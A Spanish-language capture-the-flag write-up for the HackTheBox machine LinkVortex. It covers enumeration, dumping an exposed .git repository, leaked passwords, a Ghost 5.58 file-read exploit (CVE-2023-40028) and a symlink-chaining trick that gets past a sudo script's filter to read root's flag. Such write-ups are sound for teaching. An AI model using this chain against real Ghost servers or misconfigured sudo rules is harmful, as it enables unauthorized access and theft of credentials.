Máquinas/CTF

Máquina resuelta


1. Realizamos un escaneo TCP

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_  256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open  http    Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

 

2. Identificamos la web y realizamos la enumeración

Para identificar las tecnologías de la web utilizamos Whatweb, y observamos la siguiente salida:

http://linkvortex.htb [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache], IP[10.10.11.47], JQuery[3.5.1], MetaGenerator[Ghost 5.58], Open-Graph-Protocol[website], PoweredBy[Ghost,a], Script[application/ld+json], 
        Title[BitByBit Hardware], X-Powered-By[Express], X-UA-Compatible[IE=edge]

Si buscamos por internet, encontramos la siguiente vulnerabilidad para la version concreta de ghost: https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028/blob/master/CVE-2023-40028, la cual de momento no nos sirve para mucho, pues no disponemos de credenciales válidos.

Realizamos una enumeración de dominios, meidante el siguiente comando:

# gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u linkvortex.htb -t 50 --append-domain 

Obteniendo la siguiente salida:

Found: dev.linkvortex.htb Status: 200 [Size: 2538]

Por último, realizamos una enumeración de directorios:

# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://dev.linkvortex.htb/  -t 200 -b 404 esa34521

Obteniendo lo siguiente:

/.git/config          (Status: 200) [Size: 201]
/.hta                 (Status: 403) [Size: 199]
/.htpasswd            (Status: 403) [Size: 199]
/.git/HEAD            (Status: 200) [Size: 41]
/.git/logs/           (Status: 200) [Size: 868]
/.htaccess            (Status: 403) [Size: 199]
/cgi-bin/             (Status: 403) [Size: 199]
/.git/index           (Status: 200) [Size: 707577]
/index.html           (Status: 200) [Size: 2538]
/server-status        (Status: 403) [Size: 199]
/.git                 (Status: 301) [Size: 239] [--> http://dev.linkvortex.htb/.git/]

 

3. Directorio .git

Dentro del endpoint .git encontramos lo siguiente:

[ ]	HEAD	2024-12-02 10:10 	41 	 
[ ]	config	2024-12-02 10:10 	201 	 
[ ]	description	2024-12-02 10:10 	73 	 
[DIR]	hooks/	2024-12-02 10:10 	- 	 
[ ]	index	2024-12-02 10:56 	691K	 
[DIR]	info/	2024-12-02 10:10 	- 	 
[DIR]	logs/	2024-12-02 10:10 	- 	 
[DIR]	objects/	2024-12-02 10:56 	- 	 
[ ]	packed-refs	2024-12-02 10:10 	147 	 
[DIR]	refs/	2024-12-02 10:10 	- 	 
[ ]	shallow	2024-12-02 10:10 	82 	 

Descargamos el repositorio en local con el siguiente comando:

# wget --mirror -I http://dev.linkvortex.htb/.git/

Si realizamos un # git status, vemos como se añadieron dos archivos:

- Docker-compose.yml
- ghost/core/test/regression/api/admin/authentication.test.js

Utilizamos la herramineta GitHack para descargar todo el repositorio .git y conseguir así dichos ficheros (https://github.com/lijiejie/GitHack)

 

4. Analisis de ficheros

En el fichero ghost/core/test/regression/api/admin/authentication.test.js encontramos lo siguiente:

it('complete setup', async function () {
            const email = 'test@example.com';
            const password = 'OctopiFociPilfer45';

En ved de utilizar test@example, probamos utilizando otros usuarios, uno de ellos es admin@linkvortex.htb.

También si seguimos buscando encontramos un Docker Compose, con el siguiente contenido:

FROM ghost:5.58.0

# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json

# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb

# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh

ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]

 

5. Ghost exploit

Utilizamos el exploit comentado en el punto 2, ahora que disponemos de credenciales, para realizar un Path Traversal (https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028/blob/master/CVE-2023-40028):

Ejecutamos:

# ./CVE-2023-40028 -u admin@linkvortex.htb -p OctopiFociPilfer45 -h http://linkvortex.htb

En los archivos que antes listamos en el git, uno de ellos era un Docker Compose, en el observamos que existe un archivo de configuración en la ruta /var/lib/ghost/config.production.json, por lo que podemos aprovacher dicho LFI, para obtener el siguiente archivo. En el cual aparece lo siguiente:

},
"mail": {
    "transport": "SMTP",
    "options": {
    "service": "Google",
    "host": "linkvortex.htb",
    "port": 587,
    "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
    }
    }
}

 

6. Acceso al equipo

Por lo que probamos las credenciales de bob:fibber-talented-worth para acceder por ssh y observamos que conseguimos acceso. Por lo que somos capaces de obtener la flag de usuario.

 

7. Escalado de privilegios

Ejecutamos # sudo -l para ver si el usaurio bob tiene alguna capacidad de ejecución como el usaurio root:

User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

Si vemos dicho script, observamos lo siguiente:

#!/bin/bash                                                                             
QUAR_DIR="/var/quarantined"                                                             				
if [ -z $CHECK_CONTENT ];then                                                          
CHECK_CONTENT=false                                                                   
fi                                    
LINK=$1                                                                                
if ! [[ "$LINK" =~ \.png$ ]]; then                                                     
/usr/bin/echo "! First argument must be a png file !"                                  
exit 2                                                                                
fi                                                                    				
if /usr/bin/sudo /usr/bin/test -L $LINK;then                                            
LINK_NAME=$(/usr/bin/basename $LINK)                                                 
LINK_TARGET=$(/usr/bin/readlink $LINK)                                             
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then             
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"         
    /usr/bin/unlink $LINK                                                           
else                                                                              
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"               
    /usr/bin/mv $LINK $QUAR_DIR/                                                  
    if $CHECK_CONTENT;then                                                         
    /usr/bin/echo "Content:"                                                        
    /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null                                   
    fi                                                                             
fi                                                                              
fi   

Vemos que se trata de un programa para mover archivos a cuanrentena y posteriormente leerlos. Tiene una restricción de que no se pueden leer archivos o rutas que contengan las palabras root o etc, por lo que podemos crear un enlace simbólico para leer así la flag de root:

# ln -s /root/root.txt /home/bob/1.png
# ln -s /home/bob/1.png /home/bob/2.png
# sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/2.png

Y somo capaces de obtener la flag de root